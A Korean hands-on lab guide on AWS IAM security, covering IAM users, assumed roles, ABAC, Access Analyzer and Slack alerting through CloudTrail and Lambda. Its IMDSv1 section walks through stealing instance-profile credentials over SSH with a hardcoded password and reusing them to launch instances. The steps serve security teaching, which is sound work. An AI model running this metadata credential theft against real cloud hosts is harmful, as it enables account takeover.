1. 기본 환경 구성
이번 실습은 IAM 사용자 계정을 통해 관리 콘솔에 접근하고 액세스 키를 활용해 awscli 도구를 사용합니다.
해당 작업을 수행하지 않았다면 아래 토글을 확장해 작업을 선행하고 본격적인 실습에 들어갑니다.
IAM 사용자 생성 및 액세스 키 생성
1.1. Terraform을 통한 기본 인프라 배포
Terraform을 통한 기본 인프라 배포에 앞서 SSH 키 페어, IAM User Access Key ID, IAM User Secret Access Key를 미리 확인하고 메모해 둡니다.
Terraform으로 기본 인프라 배포
cd cnasg_class_tf/Section05
Bash
복사
# 실습 코드 경로 진입
export TF_VAR_KeyName=[각자 ssh keypair]
export TF_VAR_NickName=[각자 닉네임]
export TF_VAR_MyIamUserAccessKeyID=[각자 iam 사용자의 access key id]
export TF_VAR_MyIamUserSecretAccessKey=[각자 iam 사용자의 secret access key]
export TF_VAR_SgIngressSshCidr=$(curl -s ipinfo.io/ip)/32
Bash
복사
# Terraform 환경 변수 저장
terraform init
terraform plan
Bash
복사
# Terraform 배포
nohup sh -c "terraform apply -auto-approve" > create.log 2>&1 &
Bash
복사
Note:
Terraform 배포가 완료되면(약 3분 정도 대기) 정상적으로 자원 생성이 되었는지 확인을 합니다.(cat create.log)
1.2. 기본 정보 확인 및 설정
Terraform 배포가 완료 후 출력되는 Outputs 정보에서 lab_admin_ip과 lab_attacker_ip의 퍼블릭 IP를 확인합니다.
각각의 IP로 인스턴스에 SSH로 접속하고 아래 명령어를 통해 정보를 확인합니다.
LAB-ADMIN & LAB-ATTACKER
기본 설정 확인
sudo -i
Bash
복사
# superuser
aws --version
Bash
복사
# awscli 설치 및 버전 확인
aws sts get-caller-identity
Bash
복사
# caller id 확인
aws s3 ls
Bash
복사
# awscli로 s3 bucket list 확인
2. IAM 기본 실습
2.1. IAM User 생성 및 확인
신규 IAM User를 생성하고 인증 설정과 권한 정책을 정의하고, 실제 동작을 확인합니다.
LAB-ADMIN
IAM User 생성 및 Password 설정
aws iam create-user --user-name user1
aws iam create-user --user-name user2
Bash
복사
# IAM User 생성 (user1/user2) 생성
aws iam create-login-profile \
--user-name user1 \
--password '<각자 비밀 번호>'
aws iam create-login-profile \
--user-name user2 \
--password '<각자 비밀 번호>'
Bash
복사
# IAM User 관리 콘솔 로그인용 패스위드 생성
IAM User의 Password는 최소한의 규칙이 있습니다.
•
8자 이상
•
대문자, 소문자, 기타(숫자, 특수문자)
IAM User 권한 정책 설정
aws iam attach-user-policy \
--user-name user1 \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-user-policy \
--user-name user2 \
--policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess
Bash
복사
# IAM User 권한 정책 연결
aws iam list-users | jq
Bash
복사
# IAM User 리스트 확인
각각의 IAM User 별로 관리 콘솔에 접근 후 EC2 인스턴스 생성과 삭제 작업 수행해 봅니다.
IAM User 액세스 키 생성
aws iam create-access-key --user-name user1
aws iam create-access-key --user-name user2
Bash
복사
# IAM User에게 프로그래밍 방식 액세스 키 생성
LAB-ATTACKER
자격 증명 확인
aws sts get-caller-identity
Bash
복사
# caller id 확인
aws s3 ls
Bash
복사
# awscli로 s3 bucket list 확인
cat ~/.aws/credentials
Bash
복사
# 자격 증명 정보 저장되는 파일 확인
자격 증명 프로파일 생성
aws configure --profile user1
Bash
복사
# user1 자격증명 profile 생성
aws configure --profile user2
Bash
복사
# user2 자격증명 profile 생성
cat ~/.aws/config
cat ~/.aws/credentials
Bash
복사
# 자격 증명 정보 저장되는 파일 확인
프로파일 별 자격 증명 및 권한 확인
aws sts get-caller-identity --profile user1 | jq
aws sts get-caller-identity --profile user2 | jq
Bash
복사
# caller id 확인
aws s3 ls --profile user1
aws s3 ls --profile user2
aws ec2 describe-vpcs --profile user1 | jq
aws ec2 describe-vpcs --profile user2 | jq
Bash
복사
# 버킷 조회 및 vpc 조회
aws s3 mb s3://cnasg-st5-$NICKNAME --region ap-northeast-2 --profile user1
aws s3 mb s3://cnasg-st5-$NICKNAME-2 --region ap-northeast-2 --profile user2
Bash
복사
# S3 버킷 생성
aws s3 ls --profile user2
Bash
복사
# S3 버킷 조회
2.2. 임시 자격 증명
신규 IAM Role을 생성한 후 임시 자격 증명을 통해 일정 기간 동안 권한을 수행하는 실습입니다.
LAB-ADMIN
IAM 역할 생성
cat << EOF > trust-policy.json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": { "AWS": "arn:aws:iam::$ACCOUNT_ID:user/user2" },
"Action": "sts:AssumeRole",
"Condition": {}
}
]
}
EOF
Bash
복사
# 신뢰 정책 생성
aws iam create-role \
--role-name S3FullForUser2 \
--assume-role-policy-document file://trust-policy.json \
--max-session-duration 7200
Bash
복사
# 임시 자격 iam role 생성 (2시간 설정, 최대 12시간 가능)
aws iam attach-role-policy \
--role-name S3FullForUser2 \
--policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess
Bash
복사
# AmazonS3FullAccess 권한 연결
LAB-ATTACKER
임시 자격 증명 획득
export ACCOUNT_ID=$(aws sts get-caller-identity \
--query 'Account' \
--output text \
--profile user2)
Bash
복사
# ACCOUNT_ID 변수 선언
aws sts assume-role \
--role-arn arn:aws:iam::${ACCOUNT_ID}:role/S3FullForUser2 \
--role-session-name cnasg-labsession \
--profile user2 \
--duration-seconds 3600 \
> assume-output.json
cat assume-output.json | jq
Bash
복사
# 임시 자격 증명 획득 및 인증 정보 확인 (user2 profile)
임시 자격 증명 등록 (Profile user2-s3)
aws configure set aws_access_key_id \
"$(jq -r '.Credentials.AccessKeyId' assume-output.json)" \
--profile user2-s3
aws configure set aws_secret_access_key \
"$(jq -r '.Credentials.SecretAccessKey' assume-output.json)" \
--profile user2-s3
aws configure set aws_session_token \
"$(jq -r '.Credentials.SessionToken' assume-output.json)" \
--profile user2-s3
Bash
복사
# Profile user2-s3 credential 설정
cat ~/.aws/credentials
Bash
복사
# 자격 증명 정보 저장되는 파일 확인
aws sts get-caller-identity \
--profile user2-s3 | jq
Bash
복사
# Profile user2-s3 caller identity 확인
임시 자격 증명 권한 확인
aws s3 mb s3://cnasg-st5-$NICKNAME-2 \
--region ap-northeast-2 \
--profile user2-s3
Bash
복사
# S3 버킷 생성 (profile user2-s3)
echo "hello world" > /tmp/hello.txt
aws s3 cp /tmp/hello.txt s3://cnasg-st5-$NICKNAME-2/hello.txt \
--profile user2-s3
aws s3 cp s3://cnasg-st5-$NICKNAME-2/hello.txt - \
--profile user2-s3
Bash
복사
# 객체 업로드 및 파일 내용 확인 (profile user2-s3)
aws s3 ls s3://cnasg-st5-$NICKNAME-2/ --profile user2-s3
aws s3 ls --profile user2-s3
Bash
복사
# 리스트 확인 (profile user2-s3)
aws s3 rb s3://cnasg-st5-$NICKNAME --force --profile user2-s3
aws s3 rb s3://cnasg-st5-$NICKNAME-2 --force --profile user2-s3
Bash
복사
# 버킷 삭제 (profile user2-s3)
2.3. ABAC 확인
Attribute-Based Access Control로 속성(태그) 기반으로 접근 권한을 정의하고 실습으로 확인합니다.
LAB-ADMIN
테스트용 인스턴스 생성
aws ec2 run-instances \
--image-id $(aws ssm get-parameter --name /aws/service/ami-amazon-linux-latest/al2023-ami-kernel-default-x86_64 --query "Parameter.Value" --output text) \
--instance-type t2.nano \
--tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=ABAC-TEST}]'
Bash
복사
# 테스트용 인스턴스 생성
ABAC 정책 생성 및 연결
cat << EOF > ec2-abac-policy.json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowTerminateForMatchingTeamTag",
"Effect": "Allow",
"Action": "ec2:TerminateInstances",
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:ResourceTag/team": "\${aws:PrincipalTag/team}"
}
}
}
]
}
EOF
Bash
복사
# ec2-abac-policy.json 생성
aws iam put-user-policy \
--user-name user2 \
--policy-name CNASG-ABAC-EC2-Terminate \
--policy-document file://ec2-abac-policy.json
Bash
복사
# 인라인 정책으로 user2에 연결
aws iam list-attached-user-policies --user-name user2
Bash
복사
# user2에 연결된 관리형 정책 확인
aws iam list-user-policies --user-name user2
Bash
복사
# user2에 연결된 인라인 정책 확인
aws iam tag-user --user-name user2 --tags Key=team,Value=red
aws iam list-user-tags --user-name user2
Bash
복사
# user2에 태그 적용 및 확인
LAB-ATTACKER
기본 상태에서 인스턴스 종료 시도
TEST_ID=$(aws ec2 describe-instances --filters "Name=tag:Name,Values=ABAC-TEST" \
--query "Reservations[].Instances[].InstanceId" --output text --profile user2)
echo $TEST_ID
Bash
복사
# ABAC-TEST 인스턴스 ID 변수 선언
aws ec2 terminate-instances \
--instance-ids $TEST_ID \
--profile user2
Bash
복사
# user2 profile로 대상 인스턴스 종료
테스트용 인스턴스에 태그 설정 후 인스턴스 종료 시도
aws ec2 create-tags \
--resources $TEST_ID \
--tags Key=team,Value=red \
--profile user1
Bash
복사
# user1 profile로 대상 인스턴스 태그 추가
aws ec2 describe-instances \
--query 'Reservations[].Instances[].{ID:InstanceId,Name:Tags[?Key==`Name`]|[0].Value,Team:Tags[?Key==`team`]|[0].Value}' \
--output table \
--profile user1
Bash
복사
# user1 profile로 대상 인스턴스 태그 확인
aws ec2 terminate-instances \
--instance-ids $TEST_ID \
--profile user2
Bash
복사
# user2 profile로 대상 인스턴스 종료 (재시도)
모든 자격 증명 삭제
aws configure list-profiles
Bash
복사
# LAB-ATTACKER에 구성된 aws Profile 확인
rm -vrf ~/.aws/credentials ~/.aws/config
Bash
복사
# LAB-ATTACKER 모든 권한 제거
2.4. IMDSv1 취약점
IMDS는 Instance MetaData System으로 인스턴스의 메타데이터 정보를 확인할 수 있습니다.
IMDS version 1의 취약점에 따른 권한 탈취 행위를 실습으로 확인합니다.
LAB-ADMIN
IMDS 설정 확인
ADMIN_ID=$(aws ec2 describe-instances --filters "Name=tag:Name,Values=LAB-ADMIN" \
--query "Reservations[].Instances[].InstanceId" --output text)
ATTACKER_ID=$(aws ec2 describe-instances --filters "Name=tag:Name,Values=LAB-ATTACKER" \
--query "Reservations[].Instances[].InstanceId" --output text)
echo $ADMIN_ID; echo $ATTACKER_ID
Bash
복사
# Instance ID 변수 선언
aws ec2 describe-instances \
--instance-ids $ADMIN_ID \
--query 'Reservations[].Instances[].MetadataOptions' | jq
Bash
복사
# [LAB-ADMIN] IMDS 설정 확인
aws ec2 describe-instances \
--instance-ids $ATTACKER_ID \
--query 'Reservations[].Instances[].MetadataOptions' | jq
Bash
복사
# [LAB-ATTACKER] IMDS 설정 확인
Instance Profile - 정책 정의
cat << EOF > ec2-basic-policy.json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "EC2BasicControl",
"Effect": "Allow",
"Action": [
"ec2:DescribeInstances",
"ec2:StartInstances",
"ec2:StopInstances",
"ec2:TerminateInstances",
"ec2:RunInstances",
"ec2:CreateTags"
],
"Resource": "*"
}
]
}
EOF
Bash
복사
# Instance Profile을 위한 권한 정책
cat << EOF > ec2-role-trust.json
{
"Version": "2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{"Service":"ec2.amazonaws.com"},
"Action":"sts:AssumeRole"
}
]
}
EOF
Bash
복사
# Instance Profile을 위한 신뢰 정책
Instance Profile - 역할 생성
aws iam create-role \
--role-name EC2-InstanceProfileRole \
--assume-role-policy-document file://ec2-role-trust.json
Bash
복사
# IAM Role 생성
aws iam put-role-policy \
--role-name EC2-InstanceProfileRole \
--policy-name CNASG-EC2Control \
--policy-document file://ec2-basic-policy.json
Bash
복사
# IAM Role에 Policy 연결 (인라인)
aws iam list-role-policies --role-name EC2-InstanceProfileRole
Bash
복사
# IAM Role에 연결된 Policy 확인 (인라인)
LAB-ADMIN에 Instance Profile 생성
aws iam create-instance-profile \
--instance-profile-name CNASG-AdminInstanceProfile
Bash
복사
# Instance Profile 생성 (for LAB-ADMIN)
aws iam add-role-to-instance-profile \
--instance-profile-name CNASG-AdminInstanceProfile \
--role-name EC2-InstanceProfileRole
Bash
복사
# Instance Profile에 IAM Role 연결 (for LAB-ADMIN)
aws ec2 associate-iam-instance-profile \
--instance-id $ADMIN_ID \
--iam-instance-profile Name=CNASG-AdminInstanceProfile
Bash
복사
# LAB-ADMIN에 Instance Profile 연결
aws ec2 describe-instances \
--instance-ids $ADMIN_ID \
--query 'Reservations[].Instances[].IamInstanceProfile' \
--output json
Bash
복사
# LAB-ADMIN에 Instance Profile 확인
LAB-ATTACKER
IMDSv1 정보 확인
sshpass -p 'cn@sg!@' ssh -o StrictHostKeyChecking=no ec2-user@192.168.1.100 \
hostname
Bash
복사
# LAB-ADMIN에 ssh 접근
sshpass -p 'cn@sg!@' ssh -o StrictHostKeyChecking=no ec2-user@192.168.1.100 \
curl -s http://169.254.169.254/latest/meta-data/
Bash
복사
# LAB-ADMIN에 imds 동작 확인
sshpass -p 'cn@sg!@' ssh -o StrictHostKeyChecking=no ec2-user@192.168.1.100 \
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials
Bash
복사
# LAB-ADMIN에 Instance Profile 확인
Instance Profile의 IAM 정보가 출력 되기까지 약간의 대기 시간이 필요합니다.
sshpass -p 'cn@sg!@' ssh -o StrictHostKeyChecking=no ec2-user@192.168.1.100 \
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-InstanceProfileRole \
> profile-output.json
cat profile-output.json | jq
Bash
복사
# LAB-ADMIN에 Instance Profile의 자격 증명 정보 확인
export AWS_ACCESS_KEY_ID=$(jq -r '.AccessKeyId' profile-output.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r '.SecretAccessKey' profile-output.json)
export AWS_SESSION_TOKEN=$(jq -r '.Token' profile-output.json)
echo $AWS_ACCESS_KEY_ID
echo $AWS_SECRET_ACCESS_KEY
echo $AWS_SESSION_TOKEN
Bash
복사
# 탈취한 자격 증명 변수 선언
탈취한 권한 확인
aws ec2 describe-instances \
--query 'Reservations[].Instances[].{Name:Tags[?Key==`Name`]|[0].Value,State:State.Name}' \
--output table
Bash
복사
# 인스턴스 조회 확인
source /etc/profile
aws ec2 run-instances \
--image-id $AMI_ID \
--instance-type t2.nano \
--tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=ATTACKER-TEST}]'
Bash
복사
# 공격자용 인스턴스 생성
aws ec2 describe-instances \
--query 'Reservations[].Instances[].{Name:Tags[?Key==`Name`]|[0].Value,State:State.Name}' \
--output table
Bash
복사
# 인스턴스 조회 확인
ATTACK_TEST_ID=$(aws ec2 describe-instances --filters "Name=tag:Name,Values=ATTACKER-TEST" \
--query "Reservations[].Instances[].InstanceId" --output text)
echo $ATTACK_TEST_ID
Bash
복사
# 공격자용 인스턴스 ID 변수 선언 및 확인
aws ec2 terminate-instances \
--instance-ids $ATTACK_TEST_ID
Bash
복사
# 공격자용 인스턴스 종료
자격 증명 제거
unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
Bash
복사
# 임시자격증명 제거
3. IAM 활용 및 대응
3.1. IAM Access Analyzer
IAM 권한 부여 내역과 정책을 자동으로 분석하는 기능을 사용해 봅니다.
LAB-ADMIN
IAM Access Analyzer 생성
aws accessanalyzer create-analyzer \
--analyzer-name CNASG-Analyzer \
--type ACCOUNT
Bash
복사
# IAM Access Analyzer 생성 (Account 단위)
IAM Access Analyzer의 유형(--type)은 6가지로 분류할 수 있습니다.
•
ACCOUNT: Account 단위 - External Access
•
ORGANIZATION: Organization 단위 - External Access
•
ACCOUNT_INTERNAL_ACCESS: Account 단위 - Internal Access
•
ORGANIZATION_INTERNAL_ACCESS: Organization 단위 - Internal Access
•
ACCOUNT_UNUSED_ACCESS: Account 단위 - Unused Access
•
ORGANIZATION_UNUSED_ACCESS: Organization 단위 - Unused Access
AA_ARN="arn:aws:access-analyzer:ap-northeast-2:$ACCOUNT_ID:analyzer/CNASG-Analyzer"
echo $AA_ARN
Bash
복사
# IAM AA arn 변수 선언
[Case1] 실습용 버킷 생성
aws s3 mb s3://cnasg-aa-$NICKNAME --region ap-northeast-2
Bash
복사
# 실습용 S3 버킷 생성
cat << EOF > bucket-policy.json
{
"Version":"2012-10-17",
"Statement":[
{
"Sid":"AllowPublicRead",
"Effect":"Allow",
"Principal":"*",
"Action":"s3:GetObject",
"Resource":"arn:aws:s3:::cnasg-aa-$NICKNAME/*"
}
]
}
EOF
Bash
복사
# 퍼블릭 객체 읽기 허용 버킷 정책 생성
aws s3api put-public-access-block --bucket "cnasg-aa-$NICKNAME" \
--public-access-block-configuration BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=false,RestrictPublicBuckets=false
Bash
복사
# 퍼블릭 액세스 차단 설정 (정책만 허용하고 나머지는 차단)
aws s3api put-bucket-policy \
--bucket cnasg-aa-$NICKNAME \
--policy file://bucket-policy.json
Bash
복사
# 버킷 정책 적용
[Case1] IAM Access Analyzer 결과 조회
aws accessanalyzer list-findings \
--analyzer-arn $AA_ARN \
--max-results 20
Bash
복사
# Analyzer 결과(Findings) 조회
aws accessanalyzer list-findings \
--analyzer-arn $AA_ARN \
--query "findings[?resource=='arn:aws:s3:::cnasg-aa-$NICKNAME']" | jq
Bash
복사
# 특정 버킷(cnasg-aa-$NICKNAME)에 대한 Findings만 필터링해서 보기
IAM Access Analyzer가 대상을 감지하기까지 약간의 대기가 필요할 수 있습니다.
[Case1] 실습용 버킷 삭제
aws s3 rb s3://cnasg-aa-$NICKNAME --force
Bash
복사
# 버킷 삭제 (내용 포함 강제 삭제)
[Case2] 실습용 IAM 역할 생성
ROLE_NAME="CNASG-PublicAssumeRole"
Bash
복사
# 실습용 IAM 역할 이름 정의
cat > trust-public.json <<'EOF'
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": { "AWS": "*" },
"Action": "sts:AssumeRole"
}]
}
EOF
Bash
복사
# 신뢰 정책 생성: 누구나(* ) AssumeRole 가능
aws iam create-role \
--role-name "$ROLE_NAME" \
--assume-role-policy-document file://trust-public.json
Bash
복사
# 역할 생성
cat > perm-min.json <<'EOF'
{
"Version": "2012-10-17",
"Statement": [{
"Sid": "ListBucketsOnly",
"Effect": "Allow",
"Action": [ "s3:ListAllMyBuckets" ],
"Resource": "*"
}]
}
EOF
aws iam put-role-policy \
--role-name "$ROLE_NAME" \
--policy-name CNASG-ListBucketsOnly \
--policy-document file://perm-min.json
Bash
복사
# 아주 제한적인 권한 부여(예: S3 ListBuckets만)
[Case2] IAM Access Analyzer 결과 조회
aws accessanalyzer list-findings \
--analyzer-arn "$AA_ARN" \
--query "findings[?resource=='arn:aws:iam::$ACCOUNT_ID:role/$ROLE_NAME']" | jq
Bash
복사
# 특정 IAM 역할에 대한 Access Analyzer Findings 필터링 조회
IAM Access Analyzer가 대상을 감지하기까지 약간의 대기가 필요할 수 있습니다.
[Case2] 실습용 IAM 역할 삭제
aws iam delete-role-policy \
--role-name "$ROLE_NAME" \
--policy-name CNASG-ListBucketsOnly
Bash
복사
# 인라인 정책 제거
aws iam delete-role \
--role-name "$ROLE_NAME"
Bash
복사
# 역할 삭제
3.2. 보안 이벤트 알림 (Slack Webhook)
보안 이벤트를 신속하게 파악하기 위한 Slack Webhook을 통한 알림 구성을 실습합니다.
Slack 채널 생성
1.
Slack 워크스페이스 접속
2.
채널 → [추가 작업] → 생성 → 채널 생성
3.
채널 이름 : aws-alerts
a.
다음 (버튼 클릭)
4.
가시성 : 공개
a.
생성 (버튼 클릭)
Slack App 생성 (Webhook 발급용)
1. Slack API 페이지 접속
2. Create an App → From scratch 선택
3. App Name: aws-webhook
4. Workspace: 본인 워크스페이스 선택
5. Create App 클릭
Webhook 기능 활성화
1.
Features에서 Incoming Webhooks 선택
2.
상단의 Activate Incoming Webhooks → ON
3.
아래쪽으로 스크롤 → Add New Webhook 클릭
4.
방금 만든 채널(aws-alerts) 선택 → “허용”
5.
생성된 Webhook URL 복사
LAB-ADMIN
CloudTrail용 S3 생성
export TRAIL_BUCKET="cnasg-cloudtrail-$NICKNAME"
Bash
복사
# cloudtrail 용 s3 버킷 이름
aws s3 mb s3://$TRAIL_BUCKET --region ap-northeast-2
Bash
복사
# cloudtrail 용 s3 버킷 생성
cat << EOF > trail-bucket-policy.json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AWSCloudTrailAclCheck",
"Effect": "Allow",
"Principal": {
"Service": "cloudtrail.amazonaws.com"
},
"Action": "s3:GetBucketAcl",
"Resource": "arn:aws:s3:::$TRAIL_BUCKET"
},
{
"Sid": "AWSCloudTrailWrite",
"Effect": "Allow",
"Principal": {
"Service": "cloudtrail.amazonaws.com"
},
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::$TRAIL_BUCKET/AWSLogs/${ACCOUNT_ID}/*",
"Condition": {
"StringEquals": {
"s3:x-amz-acl": "bucket-owner-full-control"
}
}
}
]
}
EOF
Bash
복사
# cloudtrail 용 s3 버킷 정책 생성
aws s3api put-bucket-policy \
--bucket $TRAIL_BUCKET \
--policy file://trail-bucket-policy.json
Bash
복사
# cloudtrail 용 s3 버킷 정책 연결
CloudTrail 생성 및 확인
aws cloudtrail create-trail \
--name CNASG-SecurityTrail \
--s3-bucket-name $TRAIL_BUCKET \
--is-multi-region-trail
Bash
복사
# cloudtrail 생성 (multi-region-trail)
aws cloudtrail get-event-selectors \
--trail-name CNASG-SecurityTrail
Bash
복사
# 이벤트 셀렉터 정보 확인
aws cloudtrail start-logging --name CNASG-SecurityTrail
Bash
복사
# 이벤트 로그 활성화
aws s3 ls s3://cnasg-cloudtrail-$NICKNAME/AWSLogs/$ACCOUNT_ID/CloudTrail/
Bash
복사
# cloudtrail용 s3 버킷 확인
이벤트 브릿지 생성
cat << 'EOF' > ec2-security-events.json
{
"source": ["aws.ec2"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventSource": ["ec2.amazonaws.com"],
"eventName": ["RunInstances", "TerminateInstances"]
}
}
EOF
Bash
복사
# 이벤트 패턴을 파일로 생성
aws events put-rule \
--name CNASG-EC2-SecurityEvents \
--event-pattern file://ec2-security-events.json \
--state ENABLED
Bash
복사
# EventBridge 규칙 생성
Lambda 함수 파일 생성
cat << 'EOF' > slack-notify-ec2.py
import json
import os
import urllib.request
WEBHOOK_URL = os.environ.get("SLACK_WEBHOOK_URL")
def lambda_handler(event, context):
detail = event.get("detail", {})
event_name = detail.get("eventName", "UnknownEvent")
user_arn = detail.get("userIdentity", {}).get("arn", "UnknownUser")
region = event.get("region", "UnknownRegion")
# EC2 인스턴스 ID 추출
instance_ids = []
if "responseElements" in detail:
relem = detail["responseElements"]
if event_name == "RunInstances":
instances = relem.get("instancesSet", {}).get("items", [])
for i in instances:
instance_ids.append(i.get("instanceId"))
elif event_name == "TerminateInstances":
items = relem.get("instancesSet", {}).get("items", [])
for i in items:
instance_ids.append(i.get("instanceId"))
instance_list = ", ".join([i for i in instance_ids if i]) or "N/A"
# 슬랙으로 전송할 짧은 메시지
text = f"[CNASG] EC2 {event_name} by {user_arn.split('/')[-1]} ({region}) – {instance_list}"
payload = {"text": text}
req = urllib.request.Request(
WEBHOOK_URL,
data=json.dumps(payload).encode("utf-8"),
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req) as resp:
resp.read()
return {"status": "ok"}
EOF
Bash
복사
# Lambda 함수 코드 생성
zip slack-notify-ec2.zip slack-notify-ec2.py
Bash
복사
# zip으로 압축
Lambda 구성을 위한 IAM 설정
cat << 'EOF' > lambda-basic-role-trust.json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": { "Service": "lambda.amazonaws.com" },
"Action": "sts:AssumeRole"
}
]
}
EOF
Bash
복사
# Lambda 신뢰 정책 생성
aws iam create-role \
--role-name CNASG-LambdaSlackRole \
--assume-role-policy-document file://lambda-basic-role-trust.json
Bash
복사
# IAM Role 생성 (신뢰 정책)
aws iam attach-role-policy \
--role-name CNASG-LambdaSlackRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole
Bash
복사
# IAM Policy 연결 (권한 정책)
LAMBDA_ROLE_ARN=$(aws iam get-role \
--role-name CNASG-LambdaSlackRole \
--query 'Role.Arn' \
--output text)
echo $LAMBDA_ROLE_ARN
Bash
복사
# LAMBDA_ROLE_ARN 변수 선언
Lambda 함수 생성
export SLACK_WEBHOOK_URL=<각자의 URL>
Bash
복사
# SLACK_WEBHOOK_URL 변수 선언
aws lambda create-function \
--function-name CNASG-SendSlack-EC2Events \
--runtime python3.12 \
--role $LAMBDA_ROLE_ARN \
--handler slack-notify-ec2.lambda_handler \
--zip-file fileb://slack-notify-ec2.zip \
--environment "Variables={SLACK_WEBHOOK_URL=$SLACK_WEBHOOK_URL}"
Bash
복사
# Lambda Function 생성
이벤트 브릿지와 Lambda 연결
aws events put-targets \
--rule CNASG-EC2-SecurityEvents \
--targets "Id"="1","Arn"="$(aws lambda get-function --function-name CNASG-SendSlack-EC2Events --query 'Configuration.FunctionArn' --output text)"
Bash
복사
# EventBridge Rule -> Lambda Fuction
aws lambda add-permission \
--function-name CNASG-SendSlack-EC2Events \
--statement-id AllowEventBridgeInvoke \
--action lambda:InvokeFunction \
--principal events.amazonaws.com \
--source-arn arn:aws:events:ap-northeast-2:$ACCOUNT_ID:rule/CNASG-EC2-SecurityEvents
Bash
복사
# EventBridge가 Lambda를 호출할 수 있게 권한 열기
4. 실습 환경 삭제
LAB-ADMIN
생성한 자원 삭제
ASSOC_ID=$(aws ec2 describe-iam-instance-profile-associations \
--filters "Name=instance-id,Values=$ADMIN_ID" --query 'IamInstanceProfileAssociations[0].AssociationId' --output text)
echo $ASSOC_ID
aws ec2 disassociate-iam-instance-profile \
--association-id $ASSOC_ID
Bash
복사
# 인스턴스에서 프로파일 분리
aws iam remove-role-from-instance-profile \
--instance-profile-name CNASG-AdminInstanceProfile \
--role-name EC2-InstanceProfileRole
aws iam delete-instance-profile \
--instance-profile-name CNASG-AdminInstanceProfile
Bash
복사
# Instance Profile에서 역할 제거, 인스턴스프로파일 삭제
aws iam detach-role-policy \
--role-name S3FullForUser2 \
--policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess
aws iam delete-role-policy \
--role-name EC2-InstanceProfileRole \
--policy-name CNASG-EC2Control
Bash
복사
# 역할에 정책 연결 해제
aws iam delete-role \
--role-name S3FullForUser2
aws iam delete-role \
--role-name EC2-InstanceProfileRole
Bash
복사
# 역할 삭제
aws accessanalyzer delete-analyzer \
--analyzer-name CNASG-Analyzer
Bash
복사
# IAM Access Analyzer 삭제
aws lambda delete-function \
--function-name CNASG-SendSlack-EC2Events
Bash
복사
# Lambda 함수 삭제
aws events remove-targets \
--rule CNASG-EC2-SecurityEvents --ids 1
aws events delete-rule \
--name CNASG-EC2-SecurityEvents
Bash
복사
# EventBridge 규칙 삭제
aws cloudtrail stop-logging \
--name CNASG-SecurityTrail
aws cloudtrail delete-trail \
--name CNASG-SecurityTrail
Bash
복사
# 생성한 CloudTrail 비활성화 및 삭제
aws s3 rb s3://cnasg-cloudtrail-$NICKNAME --force
Bash
복사
# CloudTrail용 S3 버킷 삭제
aws iam detach-role-policy \
--role-name CNASG-LambdaSlackRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole
aws iam delete-role \
--role-name CNASG-LambdaSlackRole
Bash
복사
# IAM Role 정리
aws logs delete-log-group \
--log-group-name "/aws/lambda/CNASG-SendSlack-EC2Events"
Bash
복사
# CloudWatch 로그 그룹 삭제
Slack Webhook 및 채널 삭제
•
Slack App 페이지 → 대상 App Name → Basic Information → 페이지 하단 → Delete App → Yes, I’m sure
•
Slack → 대상 채널(#aws-alerts) → 추가 정보(상단 …) → 채널 세부정보 열기 → 설정 → 이 채널 삭제 → 채널 삭제
IAM User 삭제
•
IAM 서비스 → 사용자 → 대상 선택 → 삭제 → 액세스 키 비활성화 → confirm 입력
Terraform 자원 삭제
nohup sh -c "terraform destroy -auto-approve" > delete.log 2>&1 &
Bash
복사
# terraform 자원 삭제
Note:
Terraform 자원 삭제가 완료되면(약 3분 정도 대기) 정상적으로 자원 삭제가 되었는지 확인을 합니다.(cat delete.log)
여기까지 섹션 05 실습 -AWS IAM 보안 접근 구성을 마칩니다.
수고하셨습니다 :)


